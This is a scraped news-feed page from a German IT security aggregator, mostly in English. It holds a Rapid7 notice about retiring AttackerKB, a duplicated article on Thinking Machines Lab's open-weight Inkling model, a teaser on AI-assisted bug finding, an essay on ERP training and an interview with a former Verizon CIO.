you currently use AttackerKB, here are the quick-hits for August 18 and onwards:</span></p><ul><li><p><span>Visit the Rapid7 blog for new technical write-ups and </span><a href="https://www.rapid7.com/blog/tag/rapid7-analysis" target="_self"><span>vulnerability analysis</span></a><span>.</span></p></li><li><p><span>Look for a dedicated “Technical Analysis” (linked above) tag to help make AttackerKB-style content and legacy write-ups easier to find.</span></p></li><li><p><span>The AttackerKB domain will automatically redirect to the Rapid7 Vulnerability and Exploit Database.</span></p></li><li><p><span>Use the Vulnerability and Exploit Database as your central source for vulnerability intelligence moving forward.</span></p></li></ul><p><span>AttackerKB has played an important role in helping security teams understand risk and prioritize action. We’re grateful to everyone who contributed, shared knowledge, and helped shape the platform over the years, and we’re excited to deliver the same trusted intelligence through a more unified experience.</span></p>]]></content:encoded>
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<title><![CDATA[Portable Air Conditioner BTU Ratings Are Confusing. Here's What to Know]]></title>
<description><![CDATA[Yes, BTU ratings matter, but when it comes to portable AC units, there's more to unpack.]]></description>
<link>https://tsecurity.de/de/3673401/it-nachrichten/portable-air-conditioner-btu-ratings-are-confusing-heres-what-to-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673401/it-nachrichten/portable-air-conditioner-btu-ratings-are-confusing-heres-what-to-know/</guid>
<pubDate>Thu, 16 Jul 2026 14:18:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Yes, BTU ratings matter, but when it comes to portable AC units, there's more to unpack.]]></content:encoded>
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<title><![CDATA[Thinking Machines Lab offers enterprises a US alternative in open-weight AI]]></title>
<description><![CDATA[Thinking Machines Lab, the San Francisco startup founded by former OpenAI CTO Mira Murati, has released Inkling, its first general-purpose AI model. The launch adds another US-developed entrant to an open-weight market where Chinese developers produce several leading coding and reasoning models.
...]]></description>
<link>https://tsecurity.de/de/3673263/it-nachrichten/thinking-machines-lab-offers-enterprises-a-us-alternative-in-open-weight-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673263/it-nachrichten/thinking-machines-lab-offers-enterprises-a-us-alternative-in-open-weight-ai/</guid>
<pubDate>Thu, 16 Jul 2026 13:33:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Thinking Machines Lab, the San Francisco startup founded by former OpenAI <a href="https://www.computerworld.com/article/3829004/ex-openai-cto-mira-murati-launches-ai-startup-recruits-top-talent-from-rivals.html" target="_blank">CTO Mira Murati</a>, has released Inkling, its first general-purpose AI model. The launch adds another US-developed entrant to an open-weight market where <a href="https://www.computerworld.com/article/4042964/chinas-deepseek-launches-v3-1-raising-stakes-for-enterprise-ai-adoption.html" target="_blank">Chinese developers</a> produce several leading coding and reasoning models.</p>



<p class="wp-block-paragraph">Inkling uses a mixture-of-experts architecture with 975 billion total parameters, of which 41 billion are active during processing. It supports a context window of up to 1 million tokens and was pretrained on 45 trillion tokens spanning text, images, audio, and video. Thinking Machines said it also trained the model for coding, tool use, and multimodal tasks.</p>



<p class="wp-block-paragraph">The release follows the October 2025 launch of Tinker, Thinking Machines’ first product and an API-based platform for <a href="https://www.infoworld.com/article/3486375/finding-the-right-large-language-model-for-your-needs.html">customizing AI models</a>. Developers can fine-tune Inkling through the platform.</p>



<p class="wp-block-paragraph">In a June 2026 assessment, AI model routing platform <a href="https://openrouter.ai/blog/insights/the-open-weight-models-that-matter-june-2026/" target="_blank" rel="noreferrer noopener">OpenRouter</a> highlighted DeepSeek V4 Flash, GLM 5.2, MiniMax M3, and Nvidia Nemotron 3 Ultra as four notable open-weight models. Nemotron was the only US-developed model in the group.</p>



<h2 class="wp-block-heading">Performance and developer access</h2>



<p class="wp-block-paragraph">Thinking Machines Lab’s benchmark table shows mixed results. Inkling scored 77.6% on SWE-Bench Verified, behind DeepSeek V4 Pro and GLM 5.2 but ahead of Nvidia Nemotron 3 Ultra. It also recorded 74.1% on MCP Atlas, 77.1% on BrowseComp with context management, and 79.8% on IFBench.</p>



<p class="wp-block-paragraph">Thinking Machines said Inkling’s result used a bash-only harness, while the comparison figures were reported by the competing models’ developers.</p>



<p class="wp-block-paragraph">The model includes a reasoning-effort setting that developers can adjust from 0.2 to 0.99. Thinking Machines said the setting allows users to balance performance against the number of generated tokens. In the company’s testing, Inkling matched Nemotron 3 Ultra’s Terminal Bench 2.1 score while generating about one-third as many tokens.</p>



<p class="wp-block-paragraph">Developers can fine-tune Inkling through Tinker using context lengths of 64,000 or 256,000 tokens and test it through the Inkling Playground. The model is available through APIs from Together AI, Fireworks, Modal, Databricks, and Baseten. It is also supported by inference software, including SGLang, vLLM, TokenSpeed, llama.cpp, and Hugging Face Transformers.</p>



<p class="wp-block-paragraph">Inkling’s full weights are available on Hugging Face as the original checkpoint and as a quantized NVFP4 checkpoint. Thinking Machines also previewed Inkling-Small, which has 276 billion total parameters and 12 billion active parameters. The company said it would release the smaller model’s full weights after completing testing.</p>



<h2 class="wp-block-heading">Enterprise impact</h2>



<p class="wp-block-paragraph">Inkling’s differentiation lies in its open weights, multimodal capabilities, controllable reasoning, and integration with Tinker, rather than benchmark leadership, according to <a href="https://www.forrester.com/analyst-bio/biswajeet-mahapatra/BIO20046" target="_blank" rel="noreferrer noopener">Biswajeet Mahapatra</a>, principal analyst at Forrester.</p>



<p class="wp-block-paragraph">“Enterprises are most likely to benefit in workloads where domain adaptation matters more than generic model performance, including knowledge-intensive copilots, multimodal customer service, document understanding, operational workflow automation, and agentic tasks that require organization-specific data, policies, and processes,” Mahapatra said.  </p>



<p class="wp-block-paragraph">Inkling’s US origin could also influence adoption among Western enterprises, according to <a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh</a> Jain, CEO of Pareekh Consulting. He said many Western organizations face regulatory or procurement barriers when considering Chinese-developed AI models.</p>



<p class="wp-block-paragraph">“Inkling gives those organizations a US-developed open-weight option that they can deploy on their own infrastructure,” Jain said.</p>



<p class="wp-block-paragraph">However, the benefits will need to be weighed against the cost of deploying the full model.</p>



<p class="wp-block-paragraph">Running Inkling on private infrastructure requires a GPU cluster with at least 2 TB of aggregated VRAM for the BF16 checkpoint, according to the <a href="https://thinkingmachines.ai/model-card/inkling/" target="_blank" rel="noreferrer noopener">model card</a>. Thinking Machines lists configurations of eight Nvidia B300 GPUs or 16 H200 GPUs. A quantized NVFP4 checkpoint lowers the requirement to at least 600 GB and can run on four B300 GPUs or eight H200 GPUs.</p>



<p class="wp-block-paragraph">“Because Inkling is a massive model with 975 billion total parameters, running the full model still requires significant GPU infrastructure, making closed-model APIs more economical for many organizations,” Jain said.</p>



<p class="wp-block-paragraph">Jain said Inkling-Small may be a more feasible option for many enterprises because it could reduce infrastructure costs and latency while retaining useful performance across key workloads.</p>



<h2 class="wp-block-heading">Safety and governance</h2>



<p class="wp-block-paragraph">Thinking Machines said it trained Inkling for calibration, instruction following, and resistance to censorship. The company said the model showed “strong patterns of censorship non-compliance” when evaluated by Cognition on its Propaganda and Censorship Eval.</p>



<p class="wp-block-paragraph">Inkling scored 98.6% on StrongREJECT, which Thinking Machines described as a test of whether models refuse unambiguous harmful requests.</p>



<p class="wp-block-paragraph">The model’s safety behavior should be retested after an enterprise customizes it, according to Jain. “Model fine-tuning can weaken safety filters, so companies should retest safety after customizing the model rather than assuming it stays safe,” Jain said.</p>



<p class="wp-block-paragraph">He added that self-hosted and modified versions could diverge from Thinking Machines’ official model over time without receiving automatic updates.</p>



<p class="wp-block-paragraph">“CIOs need to ensure every AI agent action is logged, auditable, and governed by human approval for high-risk tasks,” Jain said.</p>



<p class="wp-block-paragraph"><em>The article originally appeared on <a href="https://www.infoworld.com/article/4197743/thinking-machines-offers-enterprises-a-us-alternative-in-open-weight-ai.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[AI Can Find Bugs, But Human Knowledge Still Proves Them]]></title>
<description><![CDATA[Artificial intelligence (AI) is changing offensive security, but it has not changed the standard that matters most: a finding has to be proven before it becomes useful. AI-assisted tools can read code quickly, generate payloads, summarize attack surfaces, explain unfamiliar APIs, and run repetiti...]]></description>
<link>https://tsecurity.de/de/3673204/it-security-nachrichten/ai-can-find-bugs-but-human-knowledge-still-proves-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673204/it-security-nachrichten/ai-can-find-bugs-but-human-knowledge-still-proves-them/</guid>
<pubDate>Thu, 16 Jul 2026 13:09:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Artificial intelligence (AI) is changing offensive security, but it has not changed the standard that matters most: a finding has to be proven before it becomes useful. AI-assisted tools can read code quickly, generate payloads, summarize attack surfaces, explain unfamiliar APIs, and run repetitive testing workflows at impressive speed. That is a real advantage for security teams. It also]]></content:encoded>
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<item>
<title><![CDATA[AI Can Find Bugs, But Human Knowledge Still Proves Them]]></title>
<description><![CDATA[Artificial intelligence (AI) is changing offensive security, but it has not changed the standard that matters most: a finding has to be proven before it becomes useful. AI-assisted tools can read code quickly, generate payloads, summarize attack surfaces, explain unfamiliar…
Read more →
The post ...]]></description>
<link>https://tsecurity.de/de/3673192/it-security-nachrichten/ai-can-find-bugs-but-human-knowledge-still-proves-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673192/it-security-nachrichten/ai-can-find-bugs-but-human-knowledge-still-proves-them/</guid>
<pubDate>Thu, 16 Jul 2026 13:08:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Artificial intelligence (AI) is changing offensive security, but it has not changed the standard that matters most: a finding has to be proven before it becomes useful. AI-assisted tools can read code quickly, generate payloads, summarize attack surfaces, explain unfamiliar…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/ai-can-find-bugs-but-human-knowledge-still-proves-them/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/ai-can-find-bugs-but-human-knowledge-still-proves-them/">AI Can Find Bugs, But Human Knowledge Still Proves Them</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Thinking Machines offers enterprises a US alternative in open-weight AI]]></title>
<description><![CDATA[Thinking Machines Lab, the San Francisco startup founded by former OpenAI CTO Mira Murati, has released Inkling, its first general-purpose AI model. The launch adds another US-developed entrant to an open-weight market where Chinese developers produce several leading coding and reasoning models.
...]]></description>
<link>https://tsecurity.de/de/3673185/ai-nachrichten/thinking-machines-offers-enterprises-a-us-alternative-in-open-weight-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673185/ai-nachrichten/thinking-machines-offers-enterprises-a-us-alternative-in-open-weight-ai/</guid>
<pubDate>Thu, 16 Jul 2026 13:04:14 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Thinking Machines Lab, the San Francisco startup founded by former OpenAI <a href="https://www.computerworld.com/article/3829004/ex-openai-cto-mira-murati-launches-ai-startup-recruits-top-talent-from-rivals.html" target="_blank">CTO Mira Murati</a>, has released Inkling, its first general-purpose AI model. The launch adds another US-developed entrant to an open-weight market where <a href="https://www.computerworld.com/article/4042964/chinas-deepseek-launches-v3-1-raising-stakes-for-enterprise-ai-adoption.html" target="_blank">Chinese developers</a> produce several leading coding and reasoning models.</p>



<p class="wp-block-paragraph">Inkling uses a mixture-of-experts architecture with 975 billion total parameters, of which 41 billion are active during processing. It supports a context window of up to 1 million tokens and was pretrained on 45 trillion tokens spanning text, images, audio, and video. Thinking Machines said it also trained the model for coding, tool use, and multimodal tasks.</p>



<p class="wp-block-paragraph">The release follows the October 2025 launch of Tinker, Thinking Machines’ first product and an API-based platform for <a href="https://www.infoworld.com/article/3486375/finding-the-right-large-language-model-for-your-needs.html">customizing AI models</a>. Developers can fine-tune Inkling through the platform.</p>



<p class="wp-block-paragraph">In a June 2026 assessment, AI model routing platform <a href="https://openrouter.ai/blog/insights/the-open-weight-models-that-matter-june-2026/" target="_blank" rel="noreferrer noopener">OpenRouter</a> highlighted DeepSeek V4 Flash, GLM 5.2, MiniMax M3, and Nvidia Nemotron 3 Ultra as four notable open-weight models. Nemotron was the only US-developed model in the group.</p>



<h2 class="wp-block-heading">Performance and developer access</h2>



<p class="wp-block-paragraph">Thinking Machines Lab’s benchmark table shows mixed results. Inkling scored 77.6% on SWE-Bench Verified, behind DeepSeek V4 Pro and GLM 5.2 but ahead of Nvidia Nemotron 3 Ultra. It also recorded 74.1% on MCP Atlas, 77.1% on BrowseComp with context management, and 79.8% on IFBench.</p>



<p class="wp-block-paragraph">Thinking Machines said Inkling’s result used a bash-only harness, while the comparison figures were reported by the competing models’ developers.</p>



<p class="wp-block-paragraph">The model includes a reasoning-effort setting that developers can adjust from 0.2 to 0.99. Thinking Machines said the setting allows users to balance performance against the number of generated tokens. In the company’s testing, Inkling matched Nemotron 3 Ultra’s Terminal Bench 2.1 score while generating about one-third as many tokens.</p>



<p class="wp-block-paragraph">Developers can fine-tune Inkling through Tinker using context lengths of 64,000 or 256,000 tokens and test it through the Inkling Playground. The model is available through APIs from Together AI, Fireworks, Modal, Databricks, and Baseten. It is also supported by inference software, including SGLang, vLLM, TokenSpeed, llama.cpp, and Hugging Face Transformers.</p>



<p class="wp-block-paragraph">Inkling’s full weights are available on Hugging Face as the original checkpoint and as a quantized NVFP4 checkpoint. Thinking Machines also previewed Inkling-Small, which has 276 billion total parameters and 12 billion active parameters. The company said it would release the smaller model’s full weights after completing testing.</p>



<h2 class="wp-block-heading">Enterprise impact</h2>



<p class="wp-block-paragraph">Inkling’s differentiation lies in its open weights, multimodal capabilities, controllable reasoning, and integration with Tinker, rather than benchmark leadership, according to <a href="https://www.forrester.com/analyst-bio/biswajeet-mahapatra/BIO20046" target="_blank" rel="noreferrer noopener">Biswajeet Mahapatra</a>, principal analyst at Forrester.</p>



<p class="wp-block-paragraph">“Enterprises are most likely to benefit in workloads where domain adaptation matters more than generic model performance, including knowledge-intensive copilots, multimodal customer service, document understanding, operational workflow automation, and agentic tasks that require organization-specific data, policies, and processes,” Mahapatra said.  </p>



<p class="wp-block-paragraph">Inkling’s US origin could also influence adoption among Western enterprises, according to <a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh</a> Jain, CEO of Pareekh Consulting. He said many Western organizations face regulatory or procurement barriers when considering Chinese-developed AI models.</p>



<p class="wp-block-paragraph">“Inkling gives those organizations a US-developed open-weight option that they can deploy on their own infrastructure,” Jain said.</p>



<p class="wp-block-paragraph">However, the benefits will need to be weighed against the cost of deploying the full model.</p>



<p class="wp-block-paragraph">Running Inkling on private infrastructure requires a GPU cluster with at least 2 TB of aggregated VRAM for the BF16 checkpoint, according to the <a href="https://thinkingmachines.ai/model-card/inkling/" target="_blank" rel="noreferrer noopener">model card</a>. Thinking Machines lists configurations of eight Nvidia B300 GPUs or 16 H200 GPUs. A quantized NVFP4 checkpoint lowers the requirement to at least 600 GB and can run on four B300 GPUs or eight H200 GPUs.</p>



<p class="wp-block-paragraph">“Because Inkling is a massive model with 975 billion total parameters, running the full model still requires significant GPU infrastructure, making closed-model APIs more economical for many organizations,” Jain said.</p>



<p class="wp-block-paragraph">Jain said Inkling-Small may be a more feasible option for many enterprises because it could reduce infrastructure costs and latency while retaining useful performance across key workloads.</p>



<h2 class="wp-block-heading">Safety and governance</h2>



<p class="wp-block-paragraph">Thinking Machines said it trained Inkling for calibration, instruction following, and resistance to censorship. The company said the model showed “strong patterns of censorship non-compliance” when evaluated by Cognition on its Propaganda and Censorship Eval.</p>



<p class="wp-block-paragraph">Inkling scored 98.6% on StrongREJECT, which Thinking Machines described as a test of whether models refuse unambiguous harmful requests.</p>



<p class="wp-block-paragraph">The model’s safety behavior should be retested after an enterprise customizes it, according to Jain. “Model fine-tuning can weaken safety filters, so companies should retest safety after customizing the model rather than assuming it stays safe,” Jain said.</p>



<p class="wp-block-paragraph">He added that self-hosted and modified versions could diverge from Thinking Machines’ official model over time without receiving automatic updates.</p>



<p class="wp-block-paragraph">“CIOs need to ensure every AI agent action is logged, auditable, and governed by human approval for high-risk tasks,” Jain said.</p>
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<title><![CDATA[Why your ERP training program is failing your employees]]></title>
<description><![CDATA[I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the s...]]></description>
<link>https://tsecurity.de/de/3673041/it-security-nachrichten/why-your-erp-training-program-is-failing-your-employees/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673041/it-security-nachrichten/why-your-erp-training-program-is-failing-your-employees/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the same pace, with the same examples, regardless of who is sitting in the chairs.</p>



<p class="wp-block-paragraph">In one room, you might have a warehouse supervisor who has never used enterprise software, a finance manager with 20 years of system experience and a department coordinator somewhere in between. The vendor trainer covers the same material with all of them. Everyone gets a certificate at the end. Almost nobody is prepared to do their job in the new system when go-live arrives.</p>



<p class="wp-block-paragraph">I want to be clear about something before I go further. In my previous CIO article, I wrote about why organizations should <a href="https://www.cio.com/article/4181808/stop-blaming-your-erp-vendor.html">stop blaming their ERP vendor when implementations fail</a>. That argument still stands. But the training problem is a choice the organization makes. <a href="https://ecosire.com/blog/erp-user-training-best-practices-guide">Most organizations spend less than 5% of their total ERP project budget on training</a> and then hand that underfunded responsibility to the vendor. The vendor delivers what they were contracted to deliver. The gap between what got delivered and what the organization actually needed is not the vendor’s fault. It is a decision the organization made, often without fully understanding its consequences.</p>



<p class="wp-block-paragraph">After 25 years of leading enterprise software implementations and based on the doctoral research I conducted studying ERP implementations in small businesses, I am convinced that the organizations that get training right share one thing in common: they build the expertise internally rather than importing it.</p>



<h2 class="wp-block-heading">Why vendor training falls short</h2>



<p class="wp-block-paragraph">Vendor trainers know the software. That is not in question. What they do not know is your business: your processes, your workflows, your data, your terminology, your culture and the specific ways your organization will use the system once it is live.</p>



<p class="wp-block-paragraph">That gap matters more than most organizations realize. <a href="https://www.prosci.com/blog/why-do-erp-implementations-fail">Research consistently shows that inadequate training is one of the primary drivers of ERP implementation failure</a>, not because training did not happen, but because the training that happened did not connect the system to the work. Employees left those sessions knowing what buttons to click without understanding why those buttons mattered to their specific job.</p>



<p class="wp-block-paragraph">Generic training has a structural problem: it is optimized for coverage, not relevance. The goal is to ensure every employee has seen every feature. The result is that employees spend significant time learning functionality that does not apply to their role, while the functionality that does apply gets the same shallow treatment as everything else.</p>



<p class="wp-block-paragraph">A finance manager sitting through a session on shop floor production tracking is not learning anything she will use. A warehouse supervisor learning about financial journal entries is in the same position. Both leave the session technically trained. Neither leaves prepared.</p>



<p class="wp-block-paragraph">There is also a timing problem. Vendor training typically happens in a compressed window before go-live, delivered as a series of sessions rather than a progression. Research on learning retention suggests that training delivered weeks before it is needed, without reinforcement or practice, is largely forgotten by the time employees need to apply it. The result is a go-live day where everyone attended training and almost nobody feels ready.</p>



<h2 class="wp-block-heading">What internal expertise looks like in practice</h2>



<p class="wp-block-paragraph">In my doctoral research, I interviewed six IT managers from small businesses who had each led successful ERP implementations. Five of the six identified role-based, department-specific training as essential to their outcome. What distinguished their approach was not that they spent more on training. It was that they built the training capability inside the organization rather than contracting it out.</p>



<p class="wp-block-paragraph">The approach that worked most consistently was identifying one person from each affected department early in the implementation, before configuration even began. That person became the departmental expert: involved in design decisions, consulted on how their team’s processes mapped to the new system and ultimately responsible for either delivering training to their colleagues or co-leading it alongside a formal trainer.</p>



<p class="wp-block-paragraph">This is sometimes called a super user model, and the research supports its effectiveness. But what I observed in the implementations that worked goes beyond the mechanics of the model. The departmental expert brought something a vendor trainer cannot: credibility. When the warehouse supervisor learns the receiving process from someone who has worked in that warehouse, who understands the exceptions and the edge cases and the way things truly flow on a busy day, the training resonates in a way that a generic session never can.</p>



<p class="wp-block-paragraph">There is also an ownership dimension that is easy to underestimate. <a href="https://www.workday.com/en-us/perspectives/hr/erp-training-tips-best-practices.html">Peer-based training led by internal super users helps employees connect system steps to their daily responsibilities</a> in ways that outsider-led training rarely achieves. The departmental expert has skin in the game. They are going to use this system too. That shared stake changes the dynamic in the training room and sustains the support relationship long after the formal training is over.</p>



<p class="wp-block-paragraph">I have seen this play out in both directions. In implementations where the organization invested in building internal expertise early, go-live day was hard but manageable. Questions went to the departmental expert, who could answer them in the language of the department. Issues surfaced quickly because someone in each area was watching for them. Adoption stabilized faster because the support was embedded in the team rather than accessible only through a help desk ticket.</p>



<p class="wp-block-paragraph">In implementations where training was handed entirely to the vendor, the pattern was different. Go-live revealed gaps that training had not covered. The vendor’s support engagement was winding down. The organization had no internal expertise to draw on. Employees reverted to workarounds. The system went live but never fully took hold.</p>



<h2 class="wp-block-heading">How to build internal training capability before go-live</h2>



<p class="wp-block-paragraph">The organizations that got this right did not wait until the training phase to think about training. They started building internal expertise at the beginning of the project. Here is what that looked like in practice.</p>



<h3 class="wp-block-heading">Identify departmental experts early</h3>



<p class="wp-block-paragraph">Select one person from each affected department before configuration begins. Choose people who are respected by their colleagues, have a solid understanding of their department’s processes and are willing to invest extra time in the project. This is not a small ask. Make sure they and their managers understand the commitment and that the contribution is recognized.</p>



<h3 class="wp-block-heading">Involve them in the implementation, not just the training</h3>



<p class="wp-block-paragraph">The departmental expert should participate in process design sessions, configuration reviews and user acceptance testing. By the time training begins, they should understand the system deeply enough to explain not just how it works but why specific decisions were made. That context is what makes internal training credible.</p>



<h3 class="wp-block-heading">Design training around the job, not the system</h3>



<p class="wp-block-paragraph">Training content should be organized around realistic work scenarios specific to each department, not around the system’s feature set. The finance team trains on how to process their transactions in the new system. The warehouse team trains on how to manage their receipts and inventory. Connect every step to the work employees actually do.</p>



<h3 class="wp-block-heading">Plan for post-go-live support, not just pre-go-live training</h3>



<p class="wp-block-paragraph">The weeks immediately after go-live are when training becomes real and when the gaps in pre-go-live preparation surface. The departmental expert should have a defined support role in that period: available to their colleagues, connected to the project team and empowered to escalate issues that need resolution. This is not a minor detail. It is where the investment in internal expertise pays its most important dividends.</p>



<p class="wp-block-paragraph">None of this requires a large budget or a dedicated training function. It requires early decisions about who will own the training relationship inside each department and the organizational commitment to support those people through the implementation, rather than treating training as a final phase activity.</p>



<p class="wp-block-paragraph">The vendor knows the software. That knowledge is valuable and should not be wasted. But your people know your business, your processes and the way work flows on any given day. The question is not whether to use your vendor’s expertise. It is whether you are also building the internal expertise that turns a trained workforce into a prepared one. The organization that does both will not just go live. It will thrive.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[What next-generation IT leadership looks like]]></title>
<description><![CDATA[Today’s CIOs must master a complex balancing act of maintaining operational excellence while enabling AI experimentation, modernizing legacy environments while accelerating innovation, leading workforce transformation while maintaining culture, and communicating fluently across boards, business u...]]></description>
<link>https://tsecurity.de/de/3672917/it-nachrichten/what-next-generation-it-leadership-looks-like/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672917/it-nachrichten/what-next-generation-it-leadership-looks-like/</guid>
<pubDate>Thu, 16 Jul 2026 11:18:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Today’s CIOs must master a complex balancing act of maintaining operational excellence while enabling AI experimentation, modernizing legacy environments while accelerating innovation, leading workforce transformation while maintaining culture, and communicating fluently across boards, business units, customers, and technical teams alike.</p>



<p class="wp-block-paragraph">Few leaders understand this balancing act better than former Verizon CIO Jane Connell. Over her career, Connell has helped some of the world’s largest enterprises modernize operations, reduce complexity, and transform how technology enables business value at scale. As a <a href="https://www.cio.com/article/236876/cio-hall-of-fame-honorees.html">2026 CIO Hall of Fame inductee</a>, she is widely respected not only for operational excellence and strategic vision but also for her commitment to mentoring, workforce transformation, and preparing the next generation of leaders for a rapidly changing future.</p>



<p class="wp-block-paragraph">On a recent episode of <a href="https://linktr.ee/techwhisperers">the Tech Whisperers podcast</a>, we unpacked Connell’s unconventional leadership story and the playbook that has shaped one of technology’s most impactful leaders. In this exclusive interview after the show, edited for length and clarity, Connell shares more lessons from her Hall of Fame journey and why she believes the future of technology leadership will depend less on org charts and more on curiosity, credibility, and human connection.</p>



<p class="wp-block-paragraph"><strong>Dan Roberts: When you think about preparing the next generation of technology leaders, what capabilities or mindsets do you believe will matter most in this next era?</strong></p>



<p class="wp-block-paragraph"><strong>Jane Connell:</strong> One is curiosity, or what I call the “why” factor: What do we need to do and why do we need to do it? It’s having a mindset of unlocking the art of the possible. You must be comfortable with what you know, what you don’t know, and asking the question why, because in this era of AI and where technology is going, it’s not about automating things you know; it’s about what you don’t already know, and what that unlocks. AI creates patterns and opportunities and re-engineers through its own intelligence, so there has to be a lot of instinct involved, and you’re going to have to understand and learn what it’s telling you.</p>



<p class="wp-block-paragraph">I’m on the board of Rutgers, and one of the conversations we’re in with future leaders in education is that <a href="https://www.cio.com/article/4047844/ai-is-taking-over-junior-positions-in-it.html">you don’t have those entry-level jobs anymore</a>. They’re going to be AI. But those were building blocks for us. <a href="https://www.cio.com/article/4189865/how-ai-automation-is-reshaping-the-it-leadership-pipeline.html">We came up the ranks and did those jobs</a>, and that created the knowledge. [Future leaders are] not going to have that, so how do you create the foundation of knowledge — which is that art of asking why or what — to question if the bots or the patterns are biased or wrong. You’re not going to have the experience to rely on and say, “That’s wrong; I know that’s wrong because I did those. I know how this operates.”</p>



<p class="wp-block-paragraph">Second is having humility and being comfortable in your skin — that you don’t know everything, but you’re going to learn it. You’re going to involve yourself with people. It’s about workforce structure, not organizational structure. Who do you need to talk to, and what do you have to find out?</p>



<p class="wp-block-paragraph">I also believe <a href="https://www.cio.com/article/652317/cio-brett-lansings-five-point-approach-to-building-followership.html">followership</a> is going to be huge, because the way work gets done is not hierarchical. It’s going to be engineered based on the process and AI. You have to create followership of people working together, and they’ve got to want to work with you. This isn’t going be “you work for me, do as I say.” Followership is going to be a key skill for influencing and organically having that kind of impact, versus someone with authority.</p>



<p class="wp-block-paragraph">With that is the accountability to have high integrity, be credible, and be a person someone would trust. Because all this is going to break down the hierarchy of authority, you have to bring that human side and be a really good leader, which means people want to follow you, they trust you, they want to work with you, and they know you’re going to take them to a better place.</p>



<p class="wp-block-paragraph"><strong>One recurring theme throughout your career has been your ability to bridge deep technology expertise with strong business acumen. Why is that combination becoming even more critical in the age of AI and digital transformation?</strong></p>



<p class="wp-block-paragraph">You can’t impact anything tech-alone. It all resides on having business acumen and then having the technical ability to know how to use tech to solve the problem, not the other way around.</p>



<p class="wp-block-paragraph">At the root of all this is every company’s Achilles’ heel: the data. Access to data has been a privilege — those who have it, those who don’t. Now you’re bringing structured and unstructured [data] together for these AI models to work, and that’s a new skill set that requires you to know the business inside and outside.</p>



<p class="wp-block-paragraph">You also have to stay externally relevant and know where innovation is coming from. And you’re going to need to know how to architect that into the way your company goes to market, which requires you to know the business processes, how it runs, and how it could run.</p>



<p class="wp-block-paragraph">That’s the role of leaders moving forward, immersing yourself in the problems the business needs to solve. There’s no boundaries there. It’s not what department you report in and what process you own. It’s seamless. That’s the duality people need to command and grow into.</p>



<p class="wp-block-paragraph"><strong>Looking back on a career that spans multiple industries with different operating models, cultures, and regulatory environments, what were some of the most important calculated risks you took in terms of your growth?</strong></p>



<p class="wp-block-paragraph">There were two pivotal moments in my career that were the biggest risks but probably my biggest gains in growth. One was when I went into a full-time tech role and ran infrastructure. I was a fish out of water, and not the likely successor. Part of the reason I did it goes back to a something we talked about on the podcast: Well, why <em>not</em> me? And I want more. That’s just my tenacity.</p>



<p class="wp-block-paragraph">It was during the dot-com days of the late 90s, early 2000s. It didn’t matter if you were the CEO or a board director, if you didn’t know tech and you didn’t understand how to wield it, you were never going to be successful. I knew that no matter what job I may want in the future, I had to know tech. So it was a calculated decision: I’m going to jump into tech.</p>



<p class="wp-block-paragraph">Some very senior supply chain leaders who controlled my career told me, “You’re going to fail, and I’ll have a safety net for you when you come back.” Well, I didn’t fail and I never went back. That pressure was there, but I knew why I was doing it. This wasn’t just a job for ego’s sake. This was, I have to know tech. The future is tech. It’s kind of like AI now.</p>



<p class="wp-block-paragraph">The other pivotal moment was changing industries. I left Johnson &amp; Johnson at a great time. We had gone through a huge transformation, started our global services organization, and the perfect moment happened for me to retire early there. I didn’t know what I wanted to do. It was the first time I took a break in my career to let the world come to me instead of me planning it. Do I want to open a business? Do I want to consult? Do I want to stay retired? I was fortunate enough that I could, but I got bored.</p>



<p class="wp-block-paragraph">The financial industry wasn’t on my radar. Coming out of healthcare, with the purpose and the connection with saving lives, helping people, it’s easy to connect to. Financial wasn’t, for me. But one of the executive search firms said to me, when you interview, the biggest question hanging over your head is going to be, could you be successful elsewhere because you grew up in J&amp;J. You had advocates, you had influence, you knew the industry. It’s like your deck was stacked for you. Could you do all that when you’re a nobody coming off the street?</p>



